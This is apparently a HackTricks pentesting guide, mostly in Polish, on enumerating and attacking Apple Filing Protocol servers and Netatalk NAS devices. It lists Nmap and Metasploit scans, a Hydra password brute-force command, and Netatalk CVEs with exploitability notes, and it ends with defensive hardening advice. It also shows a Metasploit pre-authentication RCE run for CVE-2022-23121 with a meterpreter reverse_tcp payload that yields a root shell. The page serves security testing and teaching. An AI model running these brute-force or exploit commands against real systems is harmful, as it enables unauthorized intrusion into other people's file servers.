548 - Pentesting Apple Filing Protocol (AFP)
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Podstawowe informacje
The Apple Filing Protocol (AFP), dawniej znany jako AppleTalk Filing Protocol, jest wyspecjalizowanym protokołem sieciowym wchodzącym w skład Apple File Service (AFS). Został zaprojektowany do świadczenia usług plikowych dla macOS oraz klasycznego Mac OS. AFP wyróżnia się obsługą nazw plików w formacie Unicode, uprawnień w stylu POSIX oraz ACL, resource forks, nazwanych atrybutów rozszerzonych oraz zaawansowanych mechanizmów blokowania plików.
Chociaż AFP został zastąpiony przez SMB we współczesnych wydaniach macOS (SMB jest domyślny od OS X 10.9), nadal można go spotkać w:
- środowiskach starszych macOS / Mac OS 9
- urządzeniach NAS (QNAP, Synology, Western Digital, TrueNAS…) które zawierają otwartoźródłowy demon Netatalk
- sieciach mieszanych, gdzie Time-Machine-over-AFP jest nadal włączony
Domyślny port TCP: 548 (AFP over TCP / DSI)
PORT STATE SERVICE
548/tcp open afp
Enumeracja
Szybki banner / informacje o serwerze
# Metasploit auxiliary
use auxiliary/scanner/afp/afp_server_info
run RHOSTS=<IP>
# Nmap NSE
nmap -p 548 -sV --script "afp-* and not dos" <IP>
Useful AFP NSE scripts:
| Skrypt | Co robi |
|---|---|
| afp-ls | Wyświetla dostępne wolumeny i pliki AFP |
| afp-brute | Brute-force haseł do logowania AFP |
| afp-serverinfo | Zrzuca nazwę serwera, typ maszyny, wersję AFP, obsługiwane UAM, itp. |
| afp-showmount | Wyświetla udziały wraz z ich ACL |
| afp-path-vuln | Wykrywa (i może wykorzystać) directory-traversal, CVE-2010-0533 |
Skrypt NSE do brute-force można łączyć z Hydra/Medusa, jeśli potrzebna jest większa kontrola:
hydra -L users.txt -P passwords.txt afp://<IP>
Jeśli masz już poświadczenia, Nmap’s AFP scripts become much more useful ponieważ afp-serverinfo leaks the advertised UAMs (auth methods), podczas gdy afp-showmount i afp-ls mogą wyliczać dostępne udziały, ACLs i interesujące pliki:
nmap -p 548 --script afp-serverinfo,afp-showmount,afp-ls \
--script-args 'afp.username=<USER>,afp.password=<PASS>,ls.maxdepth=2,ls.maxfiles=50' <IP>
Zwróć uwagę na:
- Machine Type: Netatalk w wyjściu
afp-serverinfo, co zazwyczaj oznacza host NAS/Unix, a nie natywną implementację AFP firmy Apple. - UAMs takie jak
DHX,DHX2,CleartxtlubGuest, ponieważ bezpośrednio wskazują dostępne ścieżki logowania oraz czy włączone jest przestarzałe/słabe uwierzytelnianie. - Share ACLs z
afp-showmount; udostępnienia czytelne dla wszystkich lub w stylu drop-box często ujawniają kopie zapasowe, pliki.apploraz metadane użytkowników zanim w ogóle zamontujesz wolumin.
Interakcja z udziałami
macOS
# Finder → Go → "Connect to Server…"
# or from terminal
mkdir /Volumes/afp
mount_afp afp://USER:[email protected]/SHARE /Volumes/afp
Linux (używając afpfs-ng - dostępny w większości distros)
apt install afpfs-ng
mkdir /mnt/afp
mount_afp afp://USER:[email protected]/SHARE /mnt/afp
# or interactive client
afp_client <IP>
Po zamontowaniu pamiętaj, że klasyczne resource-forks Mac są przechowywane jako ukryte ._* AppleDouble pliki – często zawierają interesujące metadane, które narzędzia DFIR pomijają.
W przypadku celów Netatalk backend metadanych ma również znaczenie dla możliwości wykorzystania podatności:
ea = adoznacza, że metadane są przechowywane w AppleDouble v2 plikach /.AppleDoublekatalogach.ea = syslubea = sambaprzechowuje metadane zamiast tego w rozszerzonych atrybutach systemu plików.- W Netatalk 4.2+ stara opcja
appledoublezostała usunięta, a backend jest kontrolowany wyłącznie przez opcjęea.
Z perspektywy ofensywnej pozwala to szybko ocenić, czy błędy związane z AppleDouble będą bardziej osiągalne na serwerze.
Typowe podatności i eksploatacja
Netatalk nieuwierzytelniony łańcuch RCE (2022)
Kilku producentów NAS dostarczyło Netatalk ≤3.1.12. Brak sprawdzania zakresów w parse_entries() pozwala atakującemu skonstruować złośliwy nagłówek AppleDouble i uzyskać remote root przed uwierzytelnieniem (CVSS 9.8 – CVE-2022-23121). Dostępny jest pełny opis przez NCC Group z PoC wykorzystującym Western-Digital PR4100.
Metasploit (>= 6.3) zawiera moduł exploit/linux/netatalk/parse_entries, który dostarcza payload poprzez DSI WRITE.
use exploit/linux/netatalk/parse_entries
set RHOSTS <IP>
set TARGET 0 # Automatic (Netatalk)
set PAYLOAD linux/x64/meterpreter_reverse_tcp
run
Jeśli cel uruchamia podatny firmware QNAP/Synology, udane wykorzystanie daje shell jako root.
Netatalk OpenSession heap overflow (2018)
Starsze Netatalk (3.0.0 - 3.1.11) są podatne na zapis poza granicami w handlerze DSI OpenSession, co pozwala na nieautoryzowane wykonanie kodu (CVE-2018-1160). Szczegółowa analiza i PoC zostały opublikowane przez Tenable Research.
Newer Netatalk attack surface (2022-2024)
Najnowsze komunikaty Netatalk pokazują, że attack surface nie jest już ograniczony do parse_entries() i obsługi OpenSession:
- CVE-2022-45188: specjalnie spreparowany plik
.applmoże wywołać heap overflow wafp_getappl; jest to szczególnie istotne, jeśli możesz zapisywać pliki na udziale i serwer uruchamia funkcje FCE / notify. - CVE-2023-42464: błąd type confusion w handlerach Spotlight RPC może być osiągalny gdy
spotlight = yesjest włączone wafp.conf(domyślnie wyłączone). - CVE-2024-38439 / CVE-2024-38440 / CVE-2024-38441: jednobajtowe zapisy poza granicami na stercie w ścieżkach związanych z logowaniem naprawione w Netatalk 2.4.1 / 3.1.19 / 3.2.1. Te błędy są interesujące, ponieważ możliwość eksploatacji zależy od skonfigurowanych UAMs:
uams_clrtxt.so+ PAM-backed ClearTxt login udostępnia ścieżkęFPLoginExtistotną dla CVE-2024-38439.uams_dhx.so+ PAM-backed DHX login prowadzi do podatnej ścieżki dla CVE-2024-38440.uams_guest.soutrzymuje dostępną ścieżkę logowania Guest dla CVE-2024-38441.
To oznacza, że wynik afp-serverinfo to nie tylko dane do fingerprintingu; pomaga zdecydować, który login parser jest wystawiony zanim poświęcisz czas na rozwój exploitu lub triage firmware’u NAS.
Inne istotne problemy
- CVE-2022-22995 – Symlink redirection prowadzące do dowolnego zapisu plików / RCE gdy AppleDouble v2 jest włączone (3.1.0 - 3.1.17).
- CVE-2010-0533 – Directory traversal w Apple Mac OS X 10.6 AFP (wykryte przez
afp-path-vuln.nse). - W trakcie wydań 2024 Netatalk ponownie naprawiono wiele błędów związanych z bezpieczeństwem pamięci; jeśli zidentyfikujesz
Netatalkwafp-serverinfo, poświęć chwilę na skorelację wystawionych UAMs / Spotlight / backendu metadanych z wersją serwera zanim założysz, że istotne są tylko błędy z 2018/2022.
Zalecenia obronne
- Wyłącz AFP, jeśli nie jest absolutnie konieczne – użyj zamiast niego SMB3 lub NFS.
- Jeśli AFP musi pozostać, zaktualizuj Netatalk do ≥ 3.1.18 lub 4.x, albo zastosuj firmware producenta, który back-portuje patche z 2022/2023/2024.
- Wymuś silne UAMs (np. DHX2), wyłącz clear-text i logowania guest.
- Ogranicz TCP 548 do zaufanych podsieci i opakuj AFP w VPN, gdy jest wystawione zdalnie.
- Okresowo skanuj za pomocą
nmap -p 548 --script afp-*w CI/CD, aby wykryć rogue / zdegradowane urządzenia.
Brute-Force
References
- Netatalk Security Advisory CVE-2022-23121 – “Arbitrary code execution in parse_entries” https://netatalk.io/security/CVE-2022-23121
- Tenable Research – “Exploiting an 18-Year-Old Bug (CVE-2018-1160)” https://medium.com/tenable-techblog/exploiting-an-18-year-old-bug-b47afe54172
- Netatalk Security Advisories index https://netatalk.io/security.html
- Netatalk 4.2.0 Release Notes https://netatalk.io/4.2/ReleaseNotes4.2.0
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.


